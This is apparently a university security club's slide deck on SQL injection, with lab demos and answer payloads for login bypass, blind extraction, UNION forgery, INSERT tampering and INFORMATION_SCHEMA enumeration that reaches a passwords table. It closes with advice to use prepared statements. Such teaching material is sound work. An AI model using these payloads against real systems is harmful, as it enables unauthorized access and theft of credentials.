WEB SECURITY WEEK
2

Computer Security Group
University of Texas at Dallas
SQL Injection
Overview

- Injection attacks – user takes advantage of poor input sanitization to insert data into the client application that is passed (and trusted) to a server application
- SQL injection – users exploits the trust that the database engine has in the web server by giving the web server data that alters a query
- Another injection is command injection – targets system process execution
Example

- To select a user:
  SELECT * from users WHERE name = 'Bob';

- The username is determined at runtime, so let’s make it:
  SELECT * from users WHERE name = '$name';

- For example, if $name is “Joe”:
  SELECT * from users WHERE name = 'Joe';
Let’s give it a string that will change the query once substituted into it.

Attack string is:
' or '1' = '1

When plugged into the query, the following is produced:
SELECT * from users where NAME ='' or '1'='1';

This always returns a row
Demo

10.176.169.7/web_demo/week2/welcome1.html
Answers

- User: admin
- Password: p' OR '1'='1
Blind Injection

- Only returns True or False.
- Used to discover information about entries.
Demo

- 10.176.169/web_demo/week2/welcome1.html
Answers

- User: admin
- Password: ' OR pass LIKE 't%
- Repeat for further characters.
- Usually Scripted
SELECT money from users where id = $id;

We control the $id variable

Utilize UNION to forge our own data:
0 UNION SELECT 1000000

Resulting query:
SELECT money from users where id = 0
UNION SELECT 1000000;
Demo

- 10.176.169.7/web_demo/week2/welcome1.html
Answers

- User: any1
- Password: ' UNION SELECT 'admin', 'any2
Table Modification

- Previously we exploited SELECT this exploits INSERT.
- INSERT INTO users VALUES ("string1", "string2")
Demo

- 10.176.169.7/web_demo/week2/welcome3.html
Answers

- User: any
- Password: pass', 1);--
In MYSQL there is a static table called INFORMATION_SCHEMA

This reveals information about other tables.

Combine with UNION SELECT to get other tables.
Demo

- 10.176.169.7/web_demo/week2/welcome2.html
Answers

- Username: newb
- Password: ' UNION SELECT TABLE_NAME, 0 FROM INFORMATION_SCHEMA.TABLES;--
- Username: newb
- Password: ' UNION SELECT COLUMN_NAME, 0 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='passwords'
- Quest Hint: ' UNION SELECT pass, name FROM passwords;--
The Final Quest

- 10.176.169.7/web_demo/week2/welcome2.html
- Find the secret flag.
Mitigation

- Parameterized queries. In PHP:
  - Stupid way:
    ```php
    $db->query("select user where id = $id");
    ```
  - Smart way:
    ```php
    $db->prepare("select user where id = :id");
    $db->execute(array(':id' => $id));
    ```
- This is better because the DB doesn’t need to trust the web server since the actual query doesn’t change
- DON’T FILTER, USE PREPARED STATEMENTS / PARAMETERIZED QUERIES
END

- End of Week 2